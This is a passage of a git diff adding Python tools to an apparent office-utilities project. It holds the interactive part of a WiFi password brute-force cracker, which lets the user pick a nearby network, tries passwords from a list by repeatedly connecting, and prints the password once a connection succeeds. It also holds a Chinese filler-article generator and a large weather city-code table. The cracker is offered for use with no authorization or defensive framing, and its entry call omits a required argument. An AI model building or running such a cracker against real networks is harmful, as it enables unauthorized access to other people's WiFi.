+ # 设置新的wifi连接文件
+ tmp_profile = interface.add_network_profile(profile)
+ # 开始尝试连接
+ print(f'\r正在利用密码 {pwd} 尝试破解 ing...')
+ interface.connect(tmp_profile)
+ time.sleep(5)
+ # if time.time() - start_time < 2:
+ if interface.status() == 4:
+ print(f'\r连接成功!密码为:{pwd}')
+ exit(0)
+ print()
+ # print(start_time)
+ # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)
+
+
+# 主函数
+def pwd4wifi_service(pwd_len, pwd_list):
+ # 退出标致
+ exit_flag = 0
+ # 目标编号
+ target_num = -1
+ while not exit_flag:
+ try:
+ print('WiFi密码破解'.center(35, '-'))
+ # 调用扫描模块,返回一个排序后的wifi列表
+ wifi_list = wifi_scan()
+ # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
+ choose_exit_flag = 0
+ while not choose_exit_flag:
+ try:
+ target_num = int(input('请选择你要尝试破解的wifi:'))
+ # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
+ if target_num in range(len(wifi_list)):
+ # 二次确认
+ while not choose_exit_flag:
+ try:
+ choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
+ # 对用户输入进行小写处理,并判断
+ if choose.lower() == 'y':
+ choose_exit_flag = 1
+ elif choose.lower() == 'n':
+ break
+ # 处理用户其它字母输入
+ else:
+ print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
+ # 处理用户非字母输入
+ except ValueError:
+ print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
+ # 退出破解
+ if choose_exit_flag == 1:
+ break
+ else:
+ print('请重新输入哦(*^▽^*)')
+ except ValueError:
+ print('只能输入数字哦o(* ̄︶ ̄*)o')
+ # 密码破解,传入用户选择的wifi名称
+ # 第一个参数是方法,第二个参数是方法的参数
+ # t1 = threading.Thread(target=wifi_password_crack, args=(wifi_list[target_num][1], pwd_len,)) # target是要执行的函数名(不是函数),args是函数对应的参数,以元组的形式存在
+ # t2 = threading.Thread(target=wifi_password_crack, args=(wifi_list[target_num][1], pwd_len,)) # target是要执行的函数名(不是函数),args是函数对应的参数,以元组的形式存在
+ # t1.start()
+ # t2.start()
+ wifi_password_crack(wifi_list[target_num][1], pwd_len, pwd_list)
+ print('-' * 38)
+ exit_flag = 1
+ except Exception as e:
+ print(e)
+ raise e
+
+
+if __name__ == '__main__':
+ pwd4wifi_service(pwd_len=8)
diff --git a/office/lib/tools/qoute_dict_create_article.py b/office/lib/tools/qoute_dict_create_article.py
new file mode 100644
index 0000000..9c767a2
--- /dev/null
+++ b/office/lib/tools/qoute_dict_create_article.py
@@ -0,0 +1,222 @@
+qoute = {
+ "title": "学生会退会",
+ "famous": [
+ "爱迪生a,天才是百分之一的勤奋加百分之九十九的汗水。b",
+ "查尔斯·史a,一个人几乎可以在任何他怀有无限热忱的事情上成功。b",
+ "培根说过,深窥自己的心,而后发觉一切的奇迹在你自己。b",
+ "歌德曾经a,流水在碰到底处时才会释放活力。b",
+ "莎士比亚a,那脑袋里的智慧,就像打火石里的火花一样,不去打它是不肯出来的。b",
+ "戴尔·卡耐基a,多数人都拥有自己不了解的能力和机会,都有可能做到未曾梦想的事情。b",
+ "白哲特a,坚强的信念能赢得强者的心,并使他们变得更坚强。b",
+ "伏尔泰a, 不经巨大的困难,不会有伟大的事业。b",
+ "富勒曾经a, 苦难磨炼一些人,也毁灭另一些人。b",
+ "文森特·皮尔a, 改变你的想法,你就改变了自己的世界。b",
+ "拿破仑·希尔a, 不要等待,时机永远不会恰到好处。b",
+ "塞涅卡a, 生命如同寓言,其价值不在与长短,而在与内容。b",
+ "奥普拉·温弗瑞a, 你相信什么,你就成为什么样的人。b",
+ "吕凯特a, 生命不可能有两次,但许多人连一次也不善于度过。b",
+ "莎士比亚a, 人的一生是短的,但如果卑劣地过这一生,就太长了。b",
+ "笛卡儿a, 我的努力求学没有得到别的好处,只不过是愈来愈发觉自己的无知。b",
+ "左拉a, 生活的道路一旦选定,就要勇敢地走到底,决不回头。b",
+ "米歇潘a, 生命是一条艰险的峡谷,只有勇敢的人才能通过。b",
+ "吉姆·罗恩a, 要么你主宰生活,要么你被生活主宰。b",
+ "日本谚语a, 不幸可能成为通向幸福的桥梁。b",
+ "海贝尔a, 人生就是学校。在那里,与其说好的教师是幸福,不如说好的教师是不幸。b",
+ "杰纳勒尔·乔治·S·巴顿a, 接受挑战,就可以享受胜利的喜悦。b",
+ "德谟克利特a, 节制使快乐增加并使享受加强。b",
+ "裴斯泰洛齐a, 今天应做的事没有做,明天再早也是耽误了。b",
+ "歌德a, 决定一个人的一生,以及整个命运的,只是一瞬之间。b",
+ "卡耐基a, 一个不注意小事情的人,永远不会成就大事业。b",
+ "卢梭a, 浪费时间是一桩大罪过。b",
+ "康德a, 既然我已经踏上这条道路,那么,任何东西都不应妨碍我沿着这条路走下去。b",
+ "克劳斯·莫瑟爵士a, 教育需要花费钱,而无知也是一样。b",
+ "伏尔泰a, 坚持意志伟大的事业需要始终不渝的精神。b",
+ "亚伯拉罕·林肯a, 你活了多少岁不算什么,重要的是你是如何度过这些岁月的。b",
+ "韩非a, 内外相应,言行相称。b",
+ "富兰克林a, 你热爱生命吗?那么别浪费时间,因为时间是组成生命的材料。b",
+ "马尔顿a, 坚强的信心,能使平凡的人做出惊人的事业。b",
+ "笛卡儿a, 读一切好书,就是和许多高尚的人谈话。b",
+ "塞涅卡a, 真正的人生,只有在经过艰难卓绝的斗争之后才能实现。b",
+ "易卜生a, 伟大的事业,需要决心,能力,组织和责任感。b",
+ "歌德a, 没有人事先了解自己到底有多大的力量,直到他试过以后才知道。b",
+ "达尔文a, 敢于浪费哪怕一个钟头时间的人,说明他还不懂得珍惜生命的全部价值。b",
+ "佚名a, 感激每一个新的挑战,因为它会锻造你的意志和品格。b",
+ "奥斯特洛夫斯基a, 共同的事业,共同的斗争,可以使人们产生忍受一切的力量。 b",
+ "苏轼a, 古之立大事者,不惟有超世之才,亦必有坚忍不拔之志。b",
+ "王阳明a, 故立志者,为学之心也;为学者,立志之事也。b",
+ "歌德a, 读一本好书,就如同和一个高尚的人在交谈。b",
+ "乌申斯基a, 学习是劳动,是充满思想的劳动。b",
+ "别林斯基a, 好的书籍是最贵重的珍宝。b",
+ "富兰克林a, 读书是易事,思索是难事,但两者缺一,便全无用处。b",
+ "鲁巴金a, 读书是在别人思想的帮助下,建立起自己的思想。b",
+ "培根a, 合理安排时间,就等于节约时间。b",
+ "屠格涅夫a, 你想成为幸福的人吗?但愿你首先学会吃得起苦。b",
+ "莎士比亚a, 抛弃时间的人,时间也抛弃他。b",
+ "叔本华a, 普通人只想到如何度过时间,有才能的人设法利用时间。b",
+ "博a, 一次失败,只是证明我们成功的决心还够坚强。 维b",
+ "拉罗什夫科a, 取得成就时坚持不懈,要比遭到失败时顽强不屈更重要。b",
+ "莎士比亚a, 人的一生是短的,但如果卑劣地过这一生,就太长了。b",
+ "俾斯麦a, 失败是坚忍的最后考验。b",
+ "池田大作a, 不要回避苦恼和困难,挺起身来向它挑战,进而克服它。b",
+ "莎士比亚a, 那脑袋里的智慧,就像打火石里的火花一样,不去打它是不肯出来的。b",
+ "希腊a, 最困难的事情就是认识自己。b",
+ "黑塞a, 有勇气承担命运这才是英雄好汉。b",
+ "非洲a, 最灵繁的人也看不见自己的背脊。b",
+ "培根a, 阅读使人充实,会谈使人敏捷,写作使人精确。b",
+ "斯宾诺莎a, 最大的骄傲于最大的自卑都表示心灵的最软弱无力。b",
+ "西班牙a, 自知之明是最难得的知识。b",
+ "塞内加a, 勇气通往天堂,怯懦通往地狱。b",
+ "赫尔普斯a, 有时候读书是一种巧妙地避开思考的方法。b",
+ "笛卡儿a, 阅读一切好书如同和过去最杰出的人谈话。b",
+ "邓拓a, 越是没有本领的就越加自命不凡。b",
+ "爱尔兰a, 越是无能的人,越喜欢挑剔别人的错儿。b",
+ "老子a, 知人者智,自知者明。胜人者有力,自胜者强。b",
+ "歌德a, 意志坚强的人能把世界放在手中像泥块一样任意揉捏。b",
+ "迈克尔·F·斯特利a, 最具挑战性的挑战莫过于提升自我。b",
+ "爱迪生a, 失败也是我需要的,它和成功对我一样有价值。b",
+ "罗素·贝克a, 一个人即使已登上顶峰,也仍要自强不息。b",
+ "马云a, 最大的挑战和突破在于用人,而用人最大的突破在于信任人。b",
+ "雷锋a, 自己活着,就是为了使别人过得更美好。b",
+ "布尔沃a, 要掌握书,莫被书掌握;要为生而读,莫为读而生。b",
+ "培根a, 要知道对好事的称颂过于夸大,也会招来人们的反感轻蔑和嫉妒。b",
+ "莫扎特a, 谁和我一样用功,谁就会和我一样成功。b",
+ "马克思a, 一切节省,归根到底都归结为时间的节省。b",
+ "莎士比亚a, 意志命运往往背道而驰,决心到最后会全部推倒。b",
+ "卡莱尔a, 过去一切时代的精华尽在书中。b",
+ "培根a, 深窥自己的心,而后发觉一切的奇迹在你自己。b",
+ "罗曼·罗兰a, 只有把抱怨环境的心情,化为上进的力量,才是成功的保证。b",
+ "孔子a, 知之者不如好之者,好之者不如乐之者。b",
+ "达·芬奇a, 大胆和坚定的决心能够抵得上武器的精良。b",
+ "叔本华a, 意志是一个强壮的盲人,倚靠在明眼的跛子肩上。b",
+ "黑格尔a, 只有永远躺在泥坑里的人,才不会再掉进坑里。b",
+ "普列姆昌德a, 希望的灯一旦熄灭,生活刹那间变成了一片黑暗。b",
+ "维龙a, 要成功不需要什么特别的才能,只要把你能做的小事做得好就行了。b",
+ "郭沫若a, 形成天才的决定因素应该是勤奋。b",
+ "洛克a, 学到很多东西的诀窍,就是一下子不要学很多。b",
+ "西班牙a, 自己的鞋子,自己知道紧在哪里。b",
+ "拉罗什福科a, 我们唯一不会改正的缺点是软弱。b",
+ "亚伯拉罕·林肯a, 我这个人走得很慢,但是我从不后退。b",
+ "美华纳a, 勿问成功的秘诀为何,且尽全力做你应该做的事吧。b",
+ "俾斯麦a, 对于不屈不挠的人来说,没有失败这回事。b",
+ "阿卜·日·法拉兹a, 学问是异常珍贵的东西,从任何源泉吸收都不可耻。b",
+ "白哲特a, 坚强的信念能赢得强者的心,并使他们变得更坚强。 b",
+ "查尔斯·史考伯a, 一个人几乎可以在任何他怀有无限热忱的事情上成功。 b",
+ "贝多芬a, 卓越的人一大优点是:在不利与艰难的遭遇里百折不饶。b",
+ "莎士比亚a, 本来无望的事,大胆尝试,往往能成功。b",
+ "卡耐基a, 我们若已接受最坏的,就再没有什么损失。b",
+ "德国a, 只有在人群中间,才能认识自己。b",
+ "史美尔斯a, 书籍把我们引入最美好的社会,使我们认识各个时代的伟大智者。b",
+ "冯学峰a, 当一个人用工作去迎接光明,光明很快就会来照耀着他。b",
+ "吉格·金克拉a, 如果你能做梦,你就能实现它。b"
+ ],
+ "bosh": [
+ "现在, 解决x的问题, 是非常非常重要的. 所以, ",
+ "我们不得不面对一个非常尴尬的事实, 那就是, ",
+ "x的发生, 到底需要如何做到, 不x的发生, 又会如何产生. ",
+ "而这些并不是完全重要, 更加重要的问题是, ",
+ "x, 到底应该如何实现. ",
+ "带着这些问题, 我们来审视一下x. ",
+ "所谓x, 关键是x需要如何写. ",
+ "我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.",
+ "问题的关键究竟为何? ",
+ "x因何而发生?",
+ "每个人都不得不面对这些问题. 在面对这种问题时, ",
+ "一般来讲, 我们都必须务必慎重的考虑考虑. ",
+ "要想清楚, x, 到底是一种怎么样的存在. ",
+ "了解清楚x到底是一种怎么样的存在, 是解决一切问题的关键.",
+ "就我个人来说, x对我的意义, 不能不说非常重大. ",
+ "本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. ",
+ "x, 发生了会如何, 不发生又会如何. ",
+ "在这种困难的抉择下, 本人思来想去, 寝食难安.",
+ "生活中, 若x出现了, 我们就不得不考虑它出现了的事实. ",
+ "这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.",
+ "我们都知道, 只要有意义, 那么就必须慎重考虑.",
+ "既然如此, ",
+ "那么, ",
+ "我认为, ",
+ "一般来说, ",
+ "总结的来说, ",
+ "既然如何, ",
+ "经过上述讨论, ",
+ "这样看来, ",
+ "从这个角度来看, ",
+ "我们不妨可以这样来想: ",
+ "这是不可避免的. ",
+ "可是,即使是这样,x的出现仍然代表了一定的意义. ",
+ "x似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. ",
+ "在这种不可避免的冲突下,我们必须解决这个问题. ",
+ "对我个人而言,x不仅仅是一个重大的事件,还可能会改变我的人生. "
+ ],
+ "after": [
+ "这不禁令我深思. ",
+ "带着这句话, 我们还要更加慎重的审视这个问题: ",
+ "这启发了我. ",
+ "我希望诸位也能好好地体会这句话. ",
+ "这句话语虽然很短, 但令我浮想联翩. ",
+ "这句话看似简单,但其中的阴郁不禁让人深思. ",
+ "这句话把我们带到了一个新的维度去思考这个问题: ",
+ "这似乎解答了我的疑惑. "
+ ],
+ "before": [
+ "曾经说过",
+ "在不经意间这样说过",
+ "说过一句著名的话",
+ "曾经提到过",
+ "说过一句富有哲理的话"
+ ]
+}
+
+import random
+
+data = qoute
+qoute_list = data["famous"] # a 代表前面垫话,b代表后面垫话
+prefix_line = data["before"] # 在名人名言前面弄点废话
+post_line = data['after'] # 在名人名言后面弄点废话
+line = data['bosh'] # 代表文章主要废话来源
+
+theme = "学生会退会"
+
+repeatability = 2
+
+
+def create_article_shuffle(demo_list):
+ global repeatability
+ repeatability_pools = list(demo_list) * repeatability
+ while True:
+ random.shuffle(repeatability_pools)
+ for repeatability_item in repeatability_pools:
+ yield repeatability_item
+
+
+next_line = create_article_shuffle(line)
+next_qoute = create_article_shuffle(qoute_list)
+
+
+def create_article_get_qoute():
+ global next_qoute
+ theme = next(next_qoute)
+ theme = theme.replace("a", random.choice(prefix_line))
+ theme = theme.replace("b", random.choice(post_line))
+ return theme
+
+
+def create_article_next_para():
+ theme = ". "
+ theme += "\r\n"
+ theme += " "
+ return theme
+
+
+def create_article_main(theme, line_num):
+ for x in theme:
+ tmp = str()
+ while (len(tmp) < line_num):
+ branches = random.randint(0, 100)
+ if branches < 5:
+ tmp += create_article_next_para()
+ elif branches < 20:
+ tmp += create_article_get_qoute()
+ else:
+ tmp += next(next_line)
+ tmp = tmp.replace("x", theme)
+ print(tmp)
diff --git a/office/lib/tools/weather_city_code.py b/office/lib/tools/weather_city_code.py
new file mode 100644
index 0000000..aa154ba
--- /dev/null
+++ b/office/lib/tools/weather_city_code.py
@@ -0,0 +1,858 @@
+WEATHER_CITY_CODE_DIC = {'北京': 101010100, '海淀': 101010200, '朝阳': 101071201, '顺义': 101010400, '怀柔': 101010500,
+ '通州': 101190509,
+ '昌平': 101010700, '延庆': 101010800, '丰台': 101010900, '石景山': 101011000, '大兴': 101011100,
+ '房山': 101011200,
+ '密云': 101011300, '门头沟': 101011400, '平谷': 101011500, '八达岭': 101011600, '佛爷顶': 101011700,
+ '汤河口': 101011800,
+ '密云上甸子': 101011900, '斋堂': 101012000, '霞云岭': 101012100, '上海': 101020100, '闵行': 101020200,
+ '宝山': 101020300,
+ '川沙': 101020400, '嘉定': 101020500, '南汇': 101020600, '金山': 101230508, '青浦': 101020800,
+ '松江': 101060310,
+ '奉贤': 101021000, '崇明': 101021100, '陈家镇': 101021101, '引水船': 101021102, '徐家汇': 101021200,
+ '浦东': 101021300,
+ '天津': 101030100, '武清': 101030200, '宝坻': 101030300, '东丽': 101030400, '西青': 101030500,
+ '北辰': 101030600,
+ '宁河': 101030700, '汉沽': 101030800, '静海': 101030900, '津南': 101031000, '塘沽': 101031100,
+ '大港': 101031200,
+ '平台': 101031300, '蓟县': 101031400, '重庆': 101040100, '永川': 101040200, '合川': 101040300,
+ '南川': 101040400,
+ '江津': 101040500, '万盛': 101040600, '渝北': 101040700, '北碚': 101040800, '巴南': 101040900,
+ '长寿': 101041000,
+ '黔江': 101041100, '万州天城': 101041200, '万州龙宝': 101041300, '涪陵': 101041400, '开县': 101041500,
+ '城口': 101041600,
+ '云阳': 101041700, '巫溪': 101041800, '奉节': 101041900, '巫山': 101042000, '潼南': 101042100,
+ '垫江': 101042200,
+ '梁平': 101042300, '忠县': 101042400, '石柱': 101042500, '大足': 101042600, '荣昌': 101042700,
+ '铜梁': 101042800,
+ '璧山': 101042900, '丰都': 101043000, '武隆': 101043100, '彭水': 101043200, '綦江': 101043300,
+ '酉阳': 101043400,
+ '金佛山': 101043500, '秀山': 101043600, '沙坪坝': 101043700, '哈尔滨': 101050101, '双城': 101050102,
+ '呼兰': 101050103,
+ '阿城': 101050104, '宾县': 101050105, '依兰': 101050106, '巴彦': 101050107, '通河': 101050108,
+ '方正': 101050109,
+ '延寿': 101050110, '尚志': 101050111, '五常': 101050112, '木兰': 101050113, '齐齐哈尔': 101050201,
+ '讷河': 101050202,
+ '龙江': 101050203, '甘南': 101050204, '富裕': 101050205, '依安': 101050206, '拜泉': 101050207,
+ '克山': 101050208,
+ '克东': 101050209, '泰来': 101050210, '牡丹江': 101050301, '海林': 101050302, '穆棱': 101050303,
+ '林口': 101050304,
+ '绥芬河': 101050305, '宁安': 101050306, '东宁': 101050307, '佳木斯': 101050401, '汤原': 101050402,
+ '抚远': 101050403,
+ '桦川': 101050404, '桦南': 101050405, '同江': 101050406, '富锦': 101050407, '绥化': 101050501,
+ '肇东': 101050502,
+ '安达': 101050503, '海伦': 101050504, '明水': 101050505, '望奎': 101050506, '兰西': 101050507,
+ '青冈': 101050508,
+ '庆安': 101050509, '绥棱': 101050510, '黑河': 101050601, '嫩江': 101050602, '孙吴': 101050603,
+ '逊克': 101050604,
+ '五大连池': 101050605, '北安': 101050606, '大兴安岭': 101050701, '塔河': 101050702, '漠河': 101050703,
+ '呼玛': 101050704,
+ '呼中': 101050705, '新林': 101050706, '阿木尔': 101050707, '加格达奇': 101050708, '伊春': 101050801,
+ '乌伊岭': 101050802,
+ '五营': 101050803, '铁力': 101050804, '嘉荫': 101050805, '大庆': 101050901, '林甸': 101050902,
+ '肇州': 101050903,
+ '肇源': 101050904, '杜蒙': 101050905, '七台河': 101051002, '勃利': 101051003, '鸡西': 101051101,
+ '虎林': 101051102,
+ '密山': 101051103, '鸡东': 101051104, '鹤岗': 101051201, '绥滨': 101051202, '萝北': 101051203,
+ '双鸭山': 101051301,
+ '集贤': 101051302, '宝清': 101051303, '饶河': 101051304, '长春': 101060101, '农安': 101060102,
+ '德惠': 101060103,
+ '九台': 101060104, '榆树': 101060105, '双阳': 101060106, '吉林': 101060201, '舒兰': 101060202,
+ '永吉': 101060203,
+ '蛟河': 101060204, '磐石': 101060205, '桦甸': 101060206, '烟筒山': 101060207, '延吉': 101060301,
+ '敦化': 101060302,
+ '安图': 101060303, '汪清': 101060304, '和龙': 101060305, '天池': 101130109, '龙井': 101060307,
+ '珲春': 101060308,
+ '图们': 101060309, '罗子沟': 101060311, '延边': 101060312, '四平': 101060401, '双辽': 101060402,
+ '梨树': 101060403,
+ '公主岭': 101060404, '伊通': 101060405, '孤家子': 101060406, '通化': 101060501, '梅河口': 101060502,
+ '柳河': 101060503,
+ '辉南': 101060504, '集安': 101060505, '通化县': 101060506, '白城': 101060601, '洮南': 101060602,
+ '大安': 101060603,
+ '镇赉': 101060604, '通榆': 101060605, '辽源': 101060701, '东丰': 101060702, '松原': 101060801,
+ '乾安': 101060802,
+ '前郭': 101060803, '长岭': 101060804, '扶余': 101060805, '白山': 101060901, '靖宇': 101060902,
+ '临江': 101060903,
+ '东岗': 101060904, '长白': 101060905, '沈阳': 101070101, '苏家屯': 101070102, '辽中': 101070103,
+ '康平': 101070104,
+ '法库': 101070105, '新民': 101070106, '于洪': 101070107, '新城子': 101070108, '大连': 101070201,
+ '瓦房店': 101070202,
+ '金州': 101070203, '普兰店': 101070204, '旅顺': 101070205, '长海': 101070206, '庄河': 101070207,
+ '皮口': 101070208,
+ '海洋岛': 101070209, '鞍山': 101070301, '台安': 101070302, '岫岩': 101070303, '海城': 101070304,
+ '抚顺': 101070401,
+ '清原': 101070403, '章党': 101070404, '本溪': 101070501, '本溪县': 101070502, '草河口': 101070503,
+ '桓仁': 101070504,
+ '丹东': 101070601, '凤城': 101070602, '宽甸': 101070603, '东港': 101340202, '东沟': 101070605,
+ '锦州': 101070701,
+ '凌海': 101070702, '北宁': 101070703, '义县': 101070704, '黑山': 101070705, '北镇': 101070706,
+ '营口': 101070801,
+ '大石桥': 101070802, '盖州': 101070803, '阜新': 101070901, '彰武': 101070902, '辽阳': 101071001,
+ '辽阳县': 101071002,
+ '灯塔': 101071003, '铁岭': 101071101, '开原': 101071102, '昌图': 101071103, '西丰': 101071104,
+ '建平': 101071202,
+ '凌源': 101071203, '喀左': 101071204, '北票': 101071205, '羊山': 101071206, '建平县': 101071207,
+ '盘锦': 101071301,
+ '大洼': 101071302, '盘山': 101071303, '葫芦岛': 101071401, '建昌': 101071402, '绥中': 101071403,
+ '兴城': 101071404,
+ '呼和浩特': 101080101, '土默特左旗': 101080102, '托克托': 101080103, '和林格尔': 101080104, '清水河': 101150507,
+ '呼和浩特市郊区': 101080106, '武川': 101080107, '包头': 101080201, '白云鄂博': 101080202, '满都拉': 101080203,
+ '土默特右旗': 101080204,
+ '固阳': 101080205, '达尔罕茂明安联合旗': 101080206, '石拐': 101080207, '乌海': 101080301, '集宁': 101080401,
+ '卓资': 101080402,
+ '化德': 101080403, '商都': 101080404, '希拉穆仁': 101080405, '兴和': 101080406, '凉城': 101080407,
+ '察哈尔右翼前旗': 101080408,
+ '察哈尔右翼中旗': 101080409, '察哈尔右翼后旗': 101080410, '四子王旗': 101080411, '丰镇': 101080412,
+ '通辽': 101080501,
+ '舍伯吐': 101080502, '科尔沁左翼中旗': 101080503, '科尔沁左翼后旗': 101080504, '青龙山': 101080505,
+ '开鲁': 101080506,
+ '库伦旗': 101080507, '奈曼旗': 101080508, '扎鲁特旗': 101080509, '高力板': 101080510, '巴雅尔吐胡硕': 101080511,
+ '通辽钱家店': 101080512,
+ '赤峰': 101080601, '赤峰郊区站': 101080602, '阿鲁科尔沁旗': 101080603, '浩尔吐': 101080604, '巴林左旗': 101080605,
+ '巴林右旗': 101080606,
+ '林西': 101080607, '克什克腾旗': 101080608, '翁牛特旗': 101080609, '岗子': 101080610, '喀喇沁旗': 101080611,
+ '八里罕': 101080612,
+ '宁城': 101080613, '敖汉旗': 101080614, '宝过图': 101080615, '鄂尔多斯': 101080701, '达拉特旗': 101080703,
+ '准格尔旗': 101080704,
+ '鄂托克前旗': 101080705, '河南': 101150304, '伊克乌素': 101080707, '鄂托克旗': 101080708, '杭锦旗': 101080709,
+ '乌审旗': 101080710,
+ '伊金霍洛旗': 101080711, '乌审召': 101080712, '东胜': 101080713, '临河': 101080801, '五原': 101080802,
+ '磴口': 101080803,
+ '乌拉特前旗': 101080804, '大佘太': 101080805, '乌拉特中旗': 101080806, '乌拉特后旗': 101080807, '海力素': 101080808,
+ '那仁宝力格': 101080809, '杭锦后旗': 101080810, '巴盟农试站': 101080811, '锡林浩特': 101080901,
+ '朝克乌拉': 101080902,
+ '二连浩特': 101080903, '阿巴嘎旗': 101080904, '伊和郭勒': 101080905, '苏尼特左旗': 101080906,
+ '苏尼特右旗': 101080907,
+ '朱日和': 101080908, '东乌珠穆沁旗': 101080909, '西乌珠穆沁旗': 101080910, '太仆寺旗': 101080911,
+ '镶黄旗': 101080912,
+ '正镶白旗': 101080913, '正兰旗': 101080914, '多伦': 101080915, '博克图': 101080916, '乌拉盖': 101080917,
+ '白日乌拉': 101080918,
+ '那日图': 101080919, '呼伦贝尔': 101081000, '海拉尔': 101081001, '小二沟': 101081002, '阿荣旗': 101081003,
+ '莫力达瓦旗': 101081004,
+ '鄂伦春旗': 101081005, '鄂温克旗': 101081006, '陈巴尔虎旗': 101081007, '新巴尔虎左旗': 101081008,
+ '新巴尔虎右旗': 101081009,
+ '满洲里': 101081010, '牙克石': 101081011, '扎兰屯': 101081012, '额尔古纳': 101081014, '根河': 101081015,
+ '图里河': 101081016,
+ '乌兰浩特': 101081101, '阿尔山': 101081102, '科尔沁右翼中旗': 101081103, '胡尔勒': 101081104, '扎赉特旗': 101081105,
+ '索伦': 101081106,
+ '突泉': 101081107, '霍林郭勒': 101081108, '阿拉善左旗': 101081201, '阿拉善右旗': 101081202, '额济纳旗': 101081203,
+ '拐子湖': 101081204,
+ '吉兰太': 101081205, '锡林高勒': 101081206, '头道湖': 101081207, '中泉子': 101081208, '巴彦诺尔贡': 101081209,
+ '雅布赖': 101081210,
+ '乌斯太': 101081211, '孪井滩': 101081212, '石家庄': 101090101, '井陉': 101090102, '正定': 101090103,
+ '栾城': 101090104,
+ '行唐': 101090105, '灵寿': 101090106, '高邑': 101090107, '深泽': 101090108, '赞皇': 101090109,
+ '无极': 101090110,
+ '平山': 101090111, '元氏': 101090112, '赵县': 101090113, '辛集': 101090114, '藁城': 101090115,
+ '晋洲': 101090116,
+ '新乐': 101090117, '保定': 101090201, '满城': 101090202, '阜平': 101090203, '徐水': 101090204,
+ '唐县': 101090205,
+ '高阳': 101090206, '容城': 101090207, '紫荆关': 101090208, '涞源': 101090209, '望都': 101090210,
+ '安新': 101090211,
+ '易县': 101090212, '涞水': 101090213, '曲阳': 101090214, '蠡县': 101090215, '顺平': 101090216,
+ '雄县': 101090217,
+ '涿州': 101090218, '定州': 101090219, '安国': 101090220, '高碑店': 101090221, '张家口': 101090301,
+ '宣化': 101090302,
+ '张北': 101090303, '康保': 101090304, '沽源': 101090305, '尚义': 101090306, '蔚县': 101090307,
+ '阳原': 101090308,
+ '怀安': 101090309, '万全': 101090310, '怀来': 101090311, '涿鹿': 101090312, '赤城': 101090313,
+ '崇礼': 101090314,
+ '承德': 101090402, '承德县': 101090403, '兴隆': 101090404, '平泉': 101090405, '滦平': 101090406,
+ '隆化': 101090407,
+ '丰宁': 101090408, '宽城': 101090409, '围场': 101090410, '塞罕坎': 101090411, '唐山': 101090501,
+ '丰南': 101090502,
+ '丰润': 101090503, '滦县': 101090504, '滦南': 101090505, '乐亭': 101090506, '迁西': 101090507,
+ '玉田': 101090508,
+ '唐海': 101090509, '遵化': 101090510, '迁安': 101090511, '廊坊': 101090601, '固安': 101090602,
+ '永清': 101090603,
+ '香河': 101090604, '大城': 101090605, '文安': 101090606, '大厂': 101090607, '霸州': 101090608,
+ '三河': 101090609,
+ '沧州': 101090701, '青县': 101090702, '东光': 101090703, '海兴': 101090704, '盐山': 101090705,
+ '肃宁': 101090706,
+ '南皮': 101090707, '吴桥': 101090708, '献县': 101090709, '孟村': 101090710, '泊头': 101090711,
+ '任丘': 101090712,
+ '黄骅': 101090713, '河间': 101090714, '曹妃甸': 101090715, '衡水': 101090801, '枣强': 101090802,
+ '武邑': 101090803,
+ '武强': 101090804, '饶阳': 101090805, '安平': 101090806, '故城': 101090807, '景县': 101090808,
+ '阜城': 101090809,
+ '冀州': 101090810, '深州': 101090811, '邢台': 101090901, '临城': 101090902, '邢台县浆水': 101090903,
+ '内邱': 101090904,
+ '柏乡': 101090905, '隆尧': 101090906, '南和': 101090907, '宁晋': 101090908, '巨鹿': 101090909,
+ '新河': 101090910,
+ '广宗': 101090911, '平乡': 101090912, '威县': 101090913, '清河': 101090914, '临西': 101090915,
+ '南宫': 101090916,
+ '沙河': 101090917, '任县': 101090918, '邯郸': 101091001, '峰峰': 101091002, '临漳': 101091003,
+ '成安': 101091004,
+ '大名': 101091005, '涉县': 101091006, '磁县': 101091007, '肥乡': 101091008, '永年': 101091009,
+ '邱县': 101091010,
+ '鸡泽': 101091011, '广平': 101091012, '馆陶': 101091013, '魏县': 101091014, '曲周': 101091015,
+ '武安': 101091016,
+ '秦皇岛': 101091101, '青龙': 101091102, '昌黎': 101091103, '抚宁': 101091104, '卢龙': 101091105,
+ '北戴河': 101091106,
+ '太原': 101100101, '清徐': 101100102, '阳曲': 101100103, '娄烦': 101100104, '太原古交区': 101100105,
+ '太原北郊': 101100106,
+ '太原南郊': 101100107, '大同': 101100201, '阳高': 101100202, '大同县': 101100203, '天镇': 101100204,
+ '广灵': 101100205,
+ '灵邱': 101100206, '浑源': 101100207, '左云': 101100208, '阳泉': 101100301, '盂县': 101100302,
+ '平定': 101100303,
+ '晋中': 101100401, '榆次': 101100402, '榆社': 101100403, '左权': 101100404, '和顺': 101100405,
+ '昔阳': 101100406,
+ '寿阳': 101100407, '太谷': 101100408, '祁县': 101100409, '平遥': 101100410, '灵石': 101100411,
+ '介休': 101100412,
+ '长治': 101100501, '黎城': 101100502, '屯留': 101100503, '潞城': 101100504, '襄垣': 101100505,
+ '平顺': 101100506,
+ '武乡': 101100507, '沁县': 101100508, '长子': 101100509, '沁源': 101100510, '壶关': 101100511,
+ '晋城': 101100601,
+ '沁水': 101100602, '阳城': 101100603, '陵川': 101100604, '高平': 101100605, '临汾': 101100701,
+ '曲沃': 101100702,
+ '永和': 101100703, '隰县': 101100704, '大宁': 101100705, '吉县': 101100706, '襄汾': 101100707,
+ '蒲县': 101100708,
+ '汾西': 101100709, '洪洞': 101100710, '霍州': 101100711, '乡宁': 101100712, '翼城': 101100713,
+ '侯马': 101100714,
+ '浮山': 101100715, '安泽': 101100716, '古县': 101100717, '运城': 101100801, '临猗': 101100802,
+ '稷山': 101100803,
+ '万荣': 101100804, '河津': 101100805, '新绛': 101100806, '绛县': 101100807, '闻喜': 101100808,
+ '垣曲': 101100809,
+ '永济': 101100810, '芮城': 101100811, '夏县': 101100812, '平陆': 101100813, '朔州': 101100901,
+ '平鲁': 101100902,
